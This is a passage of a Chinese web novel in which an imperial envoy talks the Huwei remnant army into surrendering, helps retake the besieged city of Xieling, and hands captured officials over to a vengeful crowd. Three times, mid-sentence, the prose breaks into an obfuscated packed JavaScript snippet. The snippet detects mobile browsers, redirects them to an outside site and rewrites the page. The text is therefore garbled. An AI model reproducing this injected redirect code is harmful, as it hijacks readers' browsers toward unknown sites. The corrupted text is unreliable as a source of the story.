只见几名虎威军武官,带着上百名精壮士卒,将舜英从简易帐篷里拉出来,扎扎实实五花大绑,然后押着她、推推搡搡走向东麓山下。 郭洋道:“这位朝廷招安使口气如此之大,想来颇有身份,不如作押作人质,与翊军谈条件。” 走了近半日才到扬澜湖畔,正是舳舻千里、帆樯如云,一见到有人出来,挨得最近的三艘战舰齐刷刷架上了弩床,无数弓箭手像流水般从舱室内涌出。 不过片刻间,两三百支箭簇对准了他们一行人。 “别……别放箭”,舜英高声呼喊起来,带着慌乱,“我是陛下钦点的招安使,是自己人!” 顿了顿,隐隐见弓箭手垂手放下弓,又高声问:“樊州水师提督周士承何在?” 过了约莫两刻,战舰分开水路,一艘体型巨大的战舸劈开波面、飞驰而来,堪堪停在那三艘战船略略靠后的位置,走出一名身披玄甲的将领。 舜英看清来人后,忽然恐惧得涕泪齐下、声嘶力竭地大喊:“周士承,让陛下救我,我不想死!” 天璇、天玑面面相觑:“她中邪了?” 开阳瞄了两女一眼,无奈地摇摇头,放眼望向波面。 目光扫过主舰时,他瞳孔急遽收缩,双膝一软,险些跌到树下去。 舱门依次来开,卫兵小跑着鱼贯而出,森森铁甲从舱门到甲板,排成整整齐齐的两列,队列正中走出一人:身高八尺、素衣银甲、一袭荼白绣金披风,难以描画的气宇轩昂,步履不疾不徐,却暗蕴风雷之势。 那人在甲板上站定,一言不发看过来,面无表情、眼神带着见惯厮杀的漠然。 正是大翊永平王——元旻。 元旻从周士承手中接过千里镜,反复转动、调整角度,当那个朝思暮想的身影出现在视野正中时,他微不可察地舒了一口气,眼眶发热、盈出的泪花模糊了视线。 乌黑柔软的发丝、清亮有神的双眸、苍白的双颊、清减了的身姿……从头到脚、再从脚到头,一寸寸看过去,舍不得放过一丝一毫。 郭洋手下传令兵大喊:“对面的,给咱们一条活路,咱们也给她一条活路!” 主舰上鸦雀无声,侍立元旻身后的天枢小声提醒:“陛下,对面在喊话。” 元旻恋恋不舍放下千里镜,低声说:“问他们条件。” 周士承手下传令兵高喊:“都督说,大翊臣工不惧生死,你们先说条件,再看有没有活路……” 天枢吓了一跳,忙喝止:“不是这意思,莫说得人撕票了!” 元旻噎了一下,叹气:“也罢,朕关心则乱,物资都备好了,你们该怎么谈就怎么谈吧。” 却又将那千里镜举起,一分分轻移角度,视线在舜英身上逡巡,唇角扬起一丝不易察觉的微笑。 周士承感激地看了他一眼,走到传令兵身边。 对面开出条件有三: 其一、赦免军侯以下的低等武官及普通士卒,战时过往一笔勾销,放他们归家; 其二、此前在扬澜湖被虎威残部劫夺的一万石粮食,不再追索; 其三、调拨三千斤药材、百名大夫救助染疫病人。 周士承深吸一口气,正要告知传令兵,元旻忽淡淡地开口:“前两条好说,药材太少,三万斤吧。” 周士承:“……遵命!” 主舰上的传令兵喊着话,一条条回过来,及至听到三万斤药材时,郭洋怔了怔,难以置信的转头看向舜英。 舜英神色肃穆:“滬南四州,染疫的可不止你们这几千人。” “郭将军,你口口声声心怀家国,是否愿为滬南的百姓,做最后一件事?” “时疫从九霄山的虎威残部开始,也该终结于虎威残部。” 郭洋只觉得后脊一僵,一股热血从胸臆直冲天灵盖,炸得头皮一片麻痹,声音发着颤:“我们真的能回去吗?” 舜英一瞬不瞬注视着他,笑了,声音变得柔和:“郭洋将军,战争已经结束十九年了。” “没听到吗,咱们陛下已赦免了虎威残部军侯以下的将士,他一言九鼎,你那五万男儿尽可家去,得享天年!” “竟如此容易”,铁血男儿的眼眶有些湿润,又回头看了一眼,突然惊怒交加,紧张地问,“他们正在往下放跳板,好多步兵……他们要登岸了!” “是否有诈?” 舜英注视着这名苦守深山十九年、被骗无数次的忠直将领,叹了口气:“你说呢?” 郭洋愣了愣,喃喃自语:“不,他们用不着耍诈,可是……可是我那五万男儿,都是人命呀!” “你这会儿晓得他们是人命了?”舜英收了笑容,目光如炬。 忽正色道:“不如继续挟持我,陛下体恤臣下,绝不会动他们分毫。” 郭洋浑身一震,突然反应过来,亲自拔出佩剑,割断舜英手上绳子,走到她对面,双膝跪下,高呼:“末将代虎威残部,代滬国遗民,谢褚大人高义!” 舜英活动了一下手腕,伸出左臂,振臂高呼:“所有虎威军听令,卸甲,归家!” 就在她伸出左臂的刹那,主舰上的元旻身躯一震,双手颤了颤,死死盯住她手腕那一圈染血的棉布。 冷然出声:“取弓箭来!” 然后,从天枢手中接过朱漆的强弓,拈起三支银色羽箭,右手三指扣在弦上,张拉如满月。 锐响破空,箭去似流星落地、矢飞超电掣风驰。一箭擦着郭洋左肩飞过,一箭擦着郭洋右肩飞过,钉入他身后树木数尺,箭尾仍震颤不休。 而那正中的一箭,不差分毫地穿过郭洋的兜鍪顶端,带着那簇红缨飞进丛林。 郭洋只感觉遍体生寒,猛然抬头看向主舰,却听鸣镝声穿云裂石,又一支破甲重箭呼啸而至,将他身边一棵百年古树的拦腰射断,并将树干剖作两半。 元旻垂手放下彤弓,站在主舰上,像一棵挺拔的松柏,与他遥遥对视,眼神凛若寒霜。 主舰再度传来喊话:“王上有令,招安使若掉一根汗毛,尔等的下场皆如此树!” 郭洋惊魂未定,错愕地问:“他便是当今的大翊国君?” 舜英含笑反问:“彤弓,你说呢?” 郭洋怔愣半晌,眼眶发红,喃喃道:“好,好,如此弓马娴熟、如此有血性的国君。” “当年的怀王陛下,莫说有他一半,即便只得十之一二,何至于国破家亡?” “滬国,亡得不冤。” 仰头,合上双目,饱经风霜的脸上,流下两行浊泪。 舜英注视着他,这位曾想挽大厦于将倾的忠直汉子,眼神复杂,沉声道:“郭洋,带上虎威残部,跟我去阊江接招安诏书吧。” “咱们一起下山,从河州往东去沵州,再往北,依次是萝州和皋州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981288|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。咱们一起,送他们归家。” “我带你们,去看看翊国治下,这崭新的滬南,那些过得更好的百姓!” . 九月二十一,樊州水师提督周士承率两万水师开进扬澜湖。 九月二十二,藏兵九霄山的虎威军残部,得翊永平王赦免,接收了朝廷供应的三万斤药材、一千名大夫,在主帅郭洋、招安使褚舜英的带领下,收拾粮草物资,从九霄山东麓进入河州、再经过沵州、萝州,往皋州而去。 屯兵扬澜湖的两万水师分兵三路,八千水师留驻扬澜湖安营扎寨,五千水师返回长流川巡逻,另七千水师拱卫着主舰,途中从沿江二十城抽调精兵,顺长流川往东,缓缓驶向皋州阊江。 五天后,乘战舰从扬澜湖畔登岸的四万步兵,分作四队拔营出发,押送着最后一批赈济粮,分别向河州洪昌大营、沵州奉池大营、萝州燮陵大营、皋州阊江大营行军。 这一次,没有暴乱、没有冲突,水陆两军经行处,百姓望云仰戴、夹道欢呼,箪食壶浆、以迎王师。 新一轮大驻军拉开了序幕。 . 虎威残部途经四州各城池、乡镇,依次发放粮食赈济灾民、投放药材、留大夫驻点救治,并帮助受灾民众修缮房屋、重建家园,每有士卒经过故乡时,便就地解甲归田。 老兵甲愕然道:“我记得这里原本没有路,如今竟有可容两马的官道了。” 舜英:“征和十年,当时的河州刺史缪行志,在州内组织修建总长约三千里的官道。” 老兵乙惊讶道:“我记得走的时候,这一片全是荒的。” 舜英:“滬南道成立后,十九年内人口增长了六成,田地自然被垦出来了。” 老兵丙诧异道:“沵州贫寒,怎有如此多的教书先生?” 舜英:“昭王为启民智,由国库拨款,每县至少开设五座官塾。” 老兵丁感慨:“好啊,如今这弃婴塔也没以往热闹了。” 舜英:“在国朝,女子也可做官、从商、自立门户……不过还不够,移风易俗非一朝一夕之功。” 老兵丙、戊、己、庚、辛…… 郭洋在一旁静静听着,神情复杂、眼里的固执一点点湮灭了下去。 老兵亥老泪纵横:“这河堤啊,真是坚固……萝州不至于再水患成灾了。” 舜英脸色沉重:“不,有人毁堤,今年淹了上万顷良田。” 众士兵愤然道:“谁?” 舜英咬牙切齿地笑了:“有兴致的,随我转回燮陵去看看!” . 消息传得比风还快,褚舜英兵不血刃劝降五万虎威残部,还成功从源头治住了时疫,在滬南四州传得沸沸扬扬。 十月十六,皋州、萝州周边的疫病也被清除了,七千水师载着从沿江各城抽调的三万精兵,号曰“平南军”,开进笠泽。 元旻坐镇中帐,周士承暂任平南水陆总指挥,却都不急着攻城,反将笠泽与阊江的之间的树木砍伐过半,平整土地、安营扎寨,并日复一日演习旗鼓、操练士卒、排兵布阵。 呐喊声、战鼓声震天,站到阊江城楼上,隐隐可见翊军操练,军容整肃、箭矢如雨。 滬南四州十郡的州兵都是本地人,一边是受虎威残部照拂、平安渡过灾劫的家小,一边是军备强盛、声势浩大的翊军,如此恩威并施,大半州兵军心溃散,再无斗志。 一张又一张底牌被翻起、击溃,皋州刺史孔弼实带上亲兵,夤夜奔逃至萝州。与郑载云、方玉的亲信合兵,居然还有近五千人。 十月二十四,褚舜英、郭洋率虎威残部抵达萝州燮陵城下。 此时,从九霄山出发的五万人,只剩不到一千。 79. 千古多少兴亡事 燮陵城的四方城门,已被郑、孔、方的亲兵守得跟个铁桶般。 郑载云又安排士兵入户搜罗柴薪,浇上火油堆在各大街口,扬言若要强攻,便一把火烧了燮陵,拉城内六十万百姓陪葬。 万木春也已被八百名叛军团团包围。 开阳调来的五十名武士、玉衡留在万木春的隐蝠卫,合在一起约有百名,却群龙无首,吵成一团。 遭此变故,只能堪堪维持着轮班防守,使乱兵不至侵入宅内,却想不出任何破局之法。 秦桑叹了口气:“困兽犹斗,城池封锁时间一长,食物饮水都供应不上,必生祸乱。” “干脆拎着刀,直接杀出去算了”,开阳部的武士素来简单粗暴,湛卢背起一匣子腰刀,跃跃欲试,“以一敌八,稳赚!” 玉衡麾下的苏铁白了他一眼:“出得了万木春,出不了燮陵城!” “就算咱们护着几位主子冲出去,也护不了城中六十万百姓。” 湛卢瞪眼:“那你说怎么办?” 苏铁叹了口气:“既是人质,想必不会让咱们饿死,等等吧……” 身后忽然传来人声,男女老少异口而同声:“咱们就等在此处,绝不丢下燮陵百姓逃生!” 众人一惊,齐齐回身,只见顾星阑、许姿、郑锦珠、元旭在夜风中站得笔直。 郑锦珠款款上前,对隐蝠卫众人躬身长揖:“多谢各位舍生相护,我已写好遗书,此生了无遗憾。” 元旭看向她,憋了又憋,终于忍不住了:“娘亲写过的遗书,怕不是要拿箱子装了,哪次真用上了?” “也对”,郑锦珠笑了,眼中泪花浮动,看向城北断了半截的龙兴楼,忽然轻声开口:“好静——这座城池,已被烧了太多了次了。” 最近的一次,是征和六年秋,大翊襄侯元璟率十万骑兵攻打燮陵。 那一年,郑锦珠只有十四岁,父死母嫁,守城的将领是太尉郭越、以及她的八叔——宜都侯郑载弘。 城池将破之日,郭越、郭洋率虎威残部逃往西南,郭王后却选择了死守燮陵。 她将所有宗室女接进王宫,与内命妇一起关在临光殿,架上柴薪、浇上火油。打算城破之后,用此等方式,保住这些花柳艳质的清白,以维护郑氏王室最后一丝颜面。 做完这一切后,郭王后去了隔壁的临仙阁。 病了大半年的郑尧嘉,还吊着那口气,见她进来,眼睛忽然亮了,期盼地伸出手去,气若游丝地问。 “淑娴,你把阿云关哪里了?” 郭王后眸中的关怀冻住了,满脸温情的笑意霎时消散,愣怔了半晌,站在原地呆若木鸡。 她忽然发了狂,一声不吭飞奔进临光殿,冲进妃嫔之中,青筋暴突的双手一边一个,揪住龙、孔二嫔,连拖带薅地拽进临仙阁,一脚踹开房门、将二嫔扔了进去。 然后,命令健壮的嬷嬷将郑尧嘉和两嫔剥去外袍,捆在一处。 “你的阿云就是奸细的头目,她、还有她的同伙,早已被本宫拿下收押,本宫要将她千刀万剐!” “你要找她,去九泉下寻吧。” 冷冷盯着眼前荏弱、愚昧、荒淫的国君——她维护了半生的夫君,终于彻底崩溃,尖声怒骂。 “郑尧嘉,你这烂泥扶不上墙的蠢货!我郭家最后悔的事,便是将你扶上王位!” “你既不要颜面,那就等翊军攻入王宫,千军万马都来瞧瞧,你这荒唐的丑态……” “国破家亡了,还在想女人,就让你左拥右抱个够,抱到死!” 临仙阁的殿门在她身后合拢,她的脊背笔直、英挺而骄傲。只在转身的瞬间,发红的眼眶里,滚落两滴泪珠。 至高至明日月,至亲至疏夫妻。 . 郭王后站在柴堆前、手执火把,静静听着外边的动静。 城门轰然倒塌、短兵相接、喊杀震天,人声喧嚣如潮水、马蹄声由远及近…… 翊军已攻破第一道宫门。 她傲然一笑,斜了斜手臂,将火把往柴堆偏去…… 电光火石间,鸣镝呼啸而至,她执火把的手被射了个对穿,火把应声而落,“轰”地腾起一股烈焰。 骑兵未至,身穿黑袍的隐蝠卫已冲进前殿,一拥而上,灭火的灭火、摁人的摁人,将她五花大绑扔在前殿。 不过须臾,甲兵如流水般涌上丹陛,将临光殿、临仙阁层层包围,刀戟丛林中走出两人——银甲素衣的主帅元璟,布衣儒袍的军师辛佑安。 元璟跑得飞快,一言不发地冲进后殿,罔顾女眷们阵阵尖叫,只在人群中挤来挤去、逐一扫过她们的面容,像是在急切地寻找着谁。 半晌后,元璟冲出后殿,用力踩住她受伤的手,一字字地寒声质问:“崔怜云何在?” 他鬓发蓬乱、眼圈通红、嘴唇干裂,状若疯癫。 郭王后痛得全身发颤,却放声大笑:“又是崔怜云,告诉你们,她早已被我千刀万剐了。要寻她,只能下黄泉、进阴司!” “郑尧嘉,你个不知好赖的蠢货,爱你的你弃若敝帚,背叛你的你视若珍宝!” 元璟经她提醒,狂奔进临仙阁,却只见到面如枯木、气绝身亡的郑尧嘉,同他捆在一起的二嫔煞白着脸已吓晕过去。 他又跑回前殿,抽出长剑架在郭王后脖子上,咬牙切齿地怒吼:“说不说?” 她却丝毫不惧,唇角扬起微笑,喉头轻轻一声“咯噔”,口中涌出汩汩黑血。 城破之时,她便已饮下毒酒。 元璟放声咆哮,像是被逼入绝境的野兽,举剑在她尸身上连捅数下。 然后,杀红了眼的他转过身,对着石阶下罗列有序的士卒,高声嘶吼:“给我屠了……” “阿璟,你疯了”,辛佑安忙打断他,高声叱令,“听我军令,封刀!” 辛佑安从后面紧紧抱住他,他两眼血红、拳打脚踢疯狂挣扎,混乱之中,一拳又一拳挥到书生胸口,打得书生腰身佝偻下去,却仍死死锁住癫狂的他。 终于,辛佑安吐出一口鲜血,抱住他的手却丝毫不松:“阿璟,不能屠城!” “战争结束了,别再殃及无辜了!” 血溅到元璟脸上,他一个激灵、清醒过来,惊慌失措转身抱住辛佑安,连连呼唤:“佑安,佑安……传军医!” 就在此时,城中传来哗然惊呼,所有人齐刷刷看向一座高楼,只见焦黑的浓烟遮天蔽日,火光冲天而起。 有人在喊:“是龙兴楼!” “龙兴楼走水了!” . 燮陵城北门下,郭洋仰起头,看向暮色中断了半截、熏得焦黑的龙兴楼。 “十九年前,龙兴楼被烧塌,郑氏国祚便已断了吧……” 舜英仰起头、闭上眼,感受着寒凉的夜风:“如今已是干季,郑载云要是狗急跳墙,烧成废墟的,便是整个燮陵城了。” 郭洋叹了口气,看向舜英。不知为何,从九霄山下来后,他每每拿不定主意,总习惯性转头等她发话。 舜英笑了笑:“郭将军,可愿随我赌一把?” “就赌他郑载云年老多情,对子孙的那点舐犊之情?” “若郑载云不吃这套,就赌一赌他的夫人。” 郭洋不假思索:“赌!” 她想了想,又问:“开阳,郑娘娘的住所靠近哪个门?” 开阳沉吟片刻:“东门。” 舜英点点头:“那么……咱们这一千人,全都去东门。” . 万木春的后堂挂了一幅帘子,帘子两侧分别搭设两张软榻。郑锦珠、许姿躺在帘子这侧,顾星阑、元旭躺在帘子那侧。 湛卢坐在堂前檐下的台阶上,后堂的前门、前门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981289|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、屋顶都有武士把守。 台阶下,秦桑和苏铁在低声商议。 “开阳部的人,个个以一当百,我们在这也没多大用处。” “对啊,论武功高强,护卫得力,咱们没法跟湛卢他们比。” “听说首领就在燮陵城外,咱们不如出去做些别的,万一帮得上忙……” “我要是首领,现在最愁的应该是那些火油柴薪,不如咱们举着舆图去,标记好了传到城外?” “这主意好,就算到时候燃起来,也能尽快扑灭……苏铁,你轻身工夫好,先找机会去跟首领请示一下?” 身后忽然传来柔婉的女声:“不错,有长进。” 二人同时转身,只见两朵素白的衣裙绽放在墙头,自冥冥夜色中向他们飘来,忙半跪抱拳:“两位指挥使好!” 天璇、天玑笑靥如花:“首领说,你们刚才的提议甚好,派我们来相助。” 苏铁愕然:“首领何时说的?” 秦桑拍了一下他的后脑勺:“姐姐们的意思是,咱们的想法与首领不谋而合。” . 夜色掩盖下,开阳带着五十个武士徒手攀上城墙,翻过之后,在屋顶腾挪跳跃,直奔石矶街护国公府而去。 落后他半个肩的纯钧,忽然压低了声音:“统领,今晚我老觉着身后有人。” 开阳摇摇头:“不止今晚,从下九霄山那些人就在,跟了一路,没有恶意,不管他。” “滬南人极重宅邸风水,坐北朝南,子嗣的居室一般在东、或者东南”,开阳低声安排,“纯钧,你带二十个人去大门闹点动静,其余三十个……” 话音未落,南边大门火光冲天,人声喧嚷、脚步杂乱,喊人的喊人、端水的端水…… 又有人卫兵一叠声喊着:“有刺客,快……快……”铁靴踏地声此起彼伏,匆匆奔向大门口。 开阳低喝:“就是现在!” 护国公府朱漆大门的对面,苻洵闲闲地坐在屋脊上,轻轻吹灭手上的火折子,微微一笑。 回身拿起了三百斤强弓,跃向另一座墙头。 秦川带着白袍卫,全身上下裹得密不透风,只一双眼睛露在外面。砍瓜剖菜般,将杀出大门的卫兵逐一斩杀。 “不好,我的儿孙!” 郑载云惊惶着拍案而起,在卫兵的前呼后拥下,匆匆走向东院。 忽然感觉风声有异,似有锋利之物撕破夜空、轻啸而来。他条件反射地偏了偏身子,却没躲过。 胸口如被重物撞击,紧接着,护心镜应声而碎,一股寒凉透胸而过,去势不减,带着他倒退了数步。 瞳孔涣散的刹那,郑载云终于看清了袭击他的人。 新月森白似镰,那人站在屋顶上,夜风吹得银灰色披风猎猎作响,幽微月光下,他唇角缓缓扬起,笑容好看得连星辰都失了颜色。 秦川厮杀正酣,听到身后传来唿哨声,赶紧挥了挥手,白袍卫齐齐转身,跟在他身后跃上墙头,紧随苻洵而去。 “主子,他们得手了吗?” “应该得手了,她带出来的人,一直很强。” “她既这样强,何不像我们一样,直接杀了贼首?” “因为她要收服民众,只能将贼首生擒了,光明正大、按律法办。”苻洵缓缓举起手中弯月长刀,抚过刀锷处那两个小小的古篆,眼神温柔而落寞。 “她干不了的脏事,我帮她干!” “秦川,随我去刺史官邸,护好孔弼实和方玉,他们是仅存的人证。” 他忽然转头,看向燮陵城以北。幽暗月光下,龙首山的山脊上,人影幢幢、络绎不绝却有条不紊。 唇角那抹笑意愈加苦涩:“过了今夜,咱们回去吧。回维阳去、回灵昌去。” “笠泽大营的援军来了——” “她不再需要我们了。” 80. 民心 “郑娘娘,有客来访。”卯初,湛卢敲了敲后堂的木门。 屋内烛火亮起,窸窸窣窣一阵。木门从里被拉开,郑锦珠和许姿走了出来,二人鬓发丝毫不乱、仪态端庄、神色从容。 郑锦珠讶异道:“都被围了,大半夜的还有谁来?” 忽心念一动,转头看向许姿,二人交换了个眼神后,同时颔首。 依然是大门口,依然是满身绫罗、满头珠翠的贵气妇人。只是瞧着脸色发白,鬓发有些凌乱,显得很是憔悴。 一眼瞥见她,奚夫人眼圈红了,咬牙切齿道:“你这孽障,先前说得如何硬气,末了末了,还不是得靠为娘救你们一命?” 郑锦珠淡淡笑了,语气轻柔,却字字凛若冰霜:“奚夫人这是看着国公兵败,想先把持个王室子弟在手么?” “我母子生死有命,不劳夫人费心。” 站在奚夫人身边的府兵忽然开口:“夫人也是好意,国公要咱护送夫人和公子出城时,夫人还是顾及大小姐您的安危…” “闭嘴,此地哪有你说话的份?”郑锦珠脸色一变,冷冷低叱,同时瞥向那说话的府兵,忽地一愣。 母女二人对峙良久,终于,郑锦珠偏过脸,对许姿冷冷地说:“去把阿旭叫醒。” 卯时六刻,燮陵城东门,身披轻甲的护国公府兵、丫鬟、嬷嬷,手提灯笼、前呼后拥着四辆香车,缓缓走来。 贵妇从车中颤颤递出块令牌,丫鬟轻声道:“国公爷命咱们送夫人和公子出城,请各位军爷行个方便。” 守城的士兵很谨慎,翻来覆去检视令牌,又走上城楼,递给小都统。 片刻后,小都统走下城楼,在马车前单膝半跪下,抱拳道:“末将并无冒犯之意,只是非常之时,烦请夫人打开马车,再下车露一露金面,末将也好交代。” 扮作府兵的开阳、扮作丫鬟的天璇对视一眼,朗声道:“遵命!” 与奚夫人同车的天玑、与郑氏三子七孙同车的隐蝠卫,齐齐松开抵在他们腰间的短匕,收回袖中。 天玑搀扶奚夫人下了车。 惊变陡生! 瞧着玉软花柔的奚夫人,在双脚沾地的刹那,猛地将天玑推开,厉声高呼:“救我儿孙!” 扮作家丁的顾星阑、扮作丫鬟的许姿同时冲进最后一辆马车。 着府兵服饰的隐蝠卫霎时刀剑出鞘,将最后一辆马车护了个水泄不通,白刃纷纷如雪落,照亮了黑夜。 乱战之中,开阳高呼:“开门!” 纯钧会意,立即带上二十多人冲向城门,湛卢同时率三十武士,分散开来、掩护在纯钧小队两翼。 舜英与郭洋率领虎威残部,伏在城墙根下,动也不动候了许久,手足都开始僵冷发麻。 忽听门口传出短兵交接的脆响,尖叫声、惨呼声不绝于耳,霎时精神一振。 三声鹰唳撕破混乱,惊空遏云,紧跟着,封闭已久的大门“嘎吱”一声,缓缓张开一线。 舜英与郭洋对视一眼,笃定地点了点头。 郭洋会意,起身高呼:“虎威军听令,结锥形阵,冲!” . “隐蝠卫听令,玉衡部内卫暂由开阳接管、守好城门,天璇天玑拿好舆图,接应援兵!” “其余人,随我与郭将军入城!” 一千虎威军兵、隐蝠卫开阳部一百武士,均兵分两路,一路随郭洋冲向萝州刺史官邸,一路随舜英赶往护国公府。 他们并不正面作战,只沿途截杀传信的、巡逻的、溃散的乱军,以免他们情急之下点燃柴薪。 混战持续了约三刻,城中已有三四处柴薪被点燃,顺着挨挨挤挤的房梁和屋脊,点燃数条街道,火光冲天、哀嚎声此起彼伏。 西、南、北三方城门已看到动静,戍城乱兵潮水般涌向被分开的两队人马。 纯钧砍倒舜英背后的乱兵,急切道:“首领,咱们人太少,撑不了多久!” 舜英舒臂挥过,银白的刀比月光更皎洁:“撑住,快了!” 又是“轰隆”三声巨响,三方城门传来攻城车的捶门声,乱兵唬得肝胆俱裂,绝望之中纷纷寻找火折子,往就近的柴薪堆奔去。 深红的焰心,白亮的边缘,中圈是绚烂红黄,一经舔上柴薪,轰地涨大数十倍,跳跃着缠绕上更多的柴薪…… 电光火石间,无数团不明物被抛飞,升到半空后、被灼热的火焰一烤,包裹散开,窸窸窣窣抖落无数潮冷的砂砾,覆压下来,在盖熄火焰后,还积了厚厚一层。 那是被投石车抛飞的无数河沙团。 东门的号角声、呐喊声震天彻底,一迭又一迭精兵潮水般涌来。 笠泽大营的三万平南精兵,带着投石车、攻城车赶到了。紧随其后的,是推着无数车河沙,分给燮陵大营的一万步兵。 这支步兵比舜英早几天到萝州,却因顾及城中百姓,不敢妄动。 舜英抵达后,只安排他们在远郊安营扎寨,守住各路口,防止城中乱兵流散。然后去隐蔽些的河边,大量挖掘河沙,等待笠泽大营的援军送来投石车。 . 炎炎祝融火,焮灼炀巃嵸。焦黑的储瓦颓垣、废墟里哭嚎的居民、横陈街头皮焦肉烂的尸骸,劫灰随风扬起、笼罩半城。 昨夜的救助虽来的极快,这场大火却也烧了近十条街。 新驻进燮陵大营的一万州兵,正在元旭和顾星阑的安排下,搭设窝棚、修葺房屋、治疗伤员、收敛死者。 许姿跑前跑后忙着调度物资,她心算极快,所有物资数量一过眼、不过须臾便已定出去向。 舜英踩过一地狼藉,身侧随侍着郭洋及其左右副将。 郭洋看着满地黑灰,眼圈有些泛红,激动得难以自抑:“我们护住燮陵城了!” 左右副将也喃喃道:“十九年前没守住,十九年后救了一城百姓,值了!” “再也不必担心,九泉之下无颜见郭太尉了!” 铁靴铮铮踏地而来,平南将军陆斐单膝半跪,扬声道:“臣陆斐,拜见钦差大人!” “燮陵乱军皆已伏诛,首恶郑载云已毙于乱军,其家小皆已收监,方玉、孔弼实及其家小俱已收押在案,特来复命,请钦差大人示下!” 舜英问:“孔、方二人及其从犯收押何处?” 陆斐回:“依钦差大人之意,收押于龙兴楼以南的空地。” 舜英满意地颔首:“烦请陆将军再搭筑一座高台,并邀燮陵百姓前来观刑!” 而后,面向一脸愕然的郭洋,神色肃穆,字字铿锵道:“也请虎威义军各位好汉,随我前往龙兴楼!” . 午时,刑台已筑,孔弼实、方玉及其他从犯共四十七人,皆已被押上高台,台下站着黑压压数万百姓,万人空巷。 “带人证!” 清晨时,开阳赶到燮陵城北龙首山,找到了藏身此处的舒湛、以及毁堤淹田的八名人证,玉衡果然将他们藏在一个谁都想不到的地方——滬国王陵。 此刻,开阳百里奔袭护送回的人证、水患之中被强征入虎威残部的新兵,逐一登上高台,面对数万民众,将被缚台上四十七人的罪行一一道来,罄竹难书。 征和十五年,组织龙川湖暴乱,事后为掩盖形迹,诛杀刺客藏身的农户,约三百户、近两千人。 征和二十年大撤军后,血腥清洗朝廷派驻的四州官兵。 凤鸣一年,毁堤淹田,致使七百万人无家可归,并借大汛掩盖,从萝州、沵州、河州强征壮丁四万余人。 从凤鸣一年起,私增苛捐杂税, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981290|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横征暴敛,致使民生凋敝。 永平一年,再度毁堤淹田,劫掠朝廷赈灾粮,投放疫病尸骸,致使数十万平民枉死。 天高云淡,一行行南归的雁字翱翔苍穹。舜英挺直了腰背,在青天之下、高台之上站定,北风吹得她荼白色披风猎猎翻卷。 她清了清嗓子,面对义愤填膺的民众,高声呼喊:“敢问各位父老乡亲,此四十七人,当如何处置?” “杀”、“碎尸万段”、“千刀万剐”…… 民众的声音起先很杂乱,而后逐渐整齐,一浪迭过一浪,排山倒海,响彻云霄。 天地间只剩那个雄浑的合奏——“杀!杀!杀!” 舜英征询地看向身侧的顾星阑和元旭,他们同时点了点头,以示赞同。 于是,她走到台前,离民众更近了些,一言不发,只是满脸郑重、双手平稳地将一柄长剑托起,直举过头顶。 左手握鞘,右手执剑,缓缓抽出。 那一柄剑,剑鞘和剑身都古拙无华,直到三尺长的剑身全部出鞘时。中天那轮煌煌白日忽地一黯,千万光芒飞速聚向刃尖,长剑白光暴涨、堪比日月星辰。 这便是十月二十四,舜英初抵燮陵时,元旻派天枢快马加鞭为她送来的、从凰羽寺请下的镇国之宝。 凝聚日月星辰之辉,上可弑魔神暴君、中可斩奸党佞臣、下可诛魑魅魍魉的神剑——定光剑。 刃尖的光芒映照在舜英身上,将她整个人笼罩在绚烂耀眼的光晕中,宛如神明。 台下众人俱已忘了呼喊,忍不住双膝发软、跪伏在地,顶礼膜拜。 就连顾星阑和元旭都齐齐一怔,被那光华灼得头晕目眩。 舜英定了定神,继续朗声高呼:“本官持镇国宝剑,巡按使顾大人乃顾命钦差。此刻,我等皆可立斩人犯于剑下!” “然而,因他们一己私欲,生活在水深火热的人,并非本官与顾大人,而是你们,是滬南四州十郡的两千万百姓!” “普天之下,最有资格审判他们、惩罚他们、报复他们的,不是本官与顾大人,而是你们!” “今日,本官持定光神剑,向天、地、人君,替大家讨一个恩典,一个动用私刑、血债血偿的机会!” 跪在下方的人群动了,像是秋风吹皱江面漾起的涟漪,伏地叩首的人一个接一个抬起了头,数万双血红的眼睛,齐刷刷盯住被绑在台上的人。 台上的刑犯大都出身世族,一直以来,他们之上的才算是人,他们之下的皆为泥腿子、牲畜与草芥。 此刻,被成千上万他们眼中的牲畜、草芥死死盯住,他们悚然一震,只感觉头皮发麻、从头到脚被森冷的寒气紧紧包裹。 有人站起来,高呼“打死恶官酷吏”,赤手空拳地率先冲上高台,开始对孔弼实拳打脚踢。 更多的人站了起来,纷纷捋袖揎拳冲上高台。 一个、两个、十个、百个、成千个、上万个…… 激愤积攒到某一程度,所有长枪短剑都不好使,只有拳拳到肉、近身搏斗才足够痛快,才足够宣泄那滔天恨意。 